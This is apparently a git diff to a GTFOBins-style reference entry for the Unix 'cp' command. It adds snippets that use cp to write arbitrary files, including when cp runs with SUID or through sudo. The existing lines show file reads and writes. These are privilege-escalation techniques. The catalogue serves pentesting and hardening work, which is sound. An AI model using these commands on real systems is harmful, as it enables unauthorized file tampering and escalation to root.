diff --git a/_gtfobins/cp.md b/_gtfobins/cp.md index 420dccc..cc22864 100644 --- a/_gtfobins/cp.md +++ b/_gtfobins/cp.md @@ -4,7 +4,14 @@ functions: - code: | LFILE=file_to_read cp "$LFILE" /dev/stdout + file-write: + - code: | + LFILE=file_to_write + echo "DATA" | cp /dev/stdin "$LFILE" suid: + - code: | + LFILE=file_to_write + echo "DATA" | ./cp /dev/stdin "$LFILE" - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. code: | LFILE=file_to_write @@ -12,6 +19,9 @@ functions: echo "DATA" > $TF ./cp $TF $LFILE sudo: + - code: | + LFILE=file_to_write + echo "DATA" | sudo cp /dev/stdin "$LFILE" - description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. code: | LFILE=file_to_write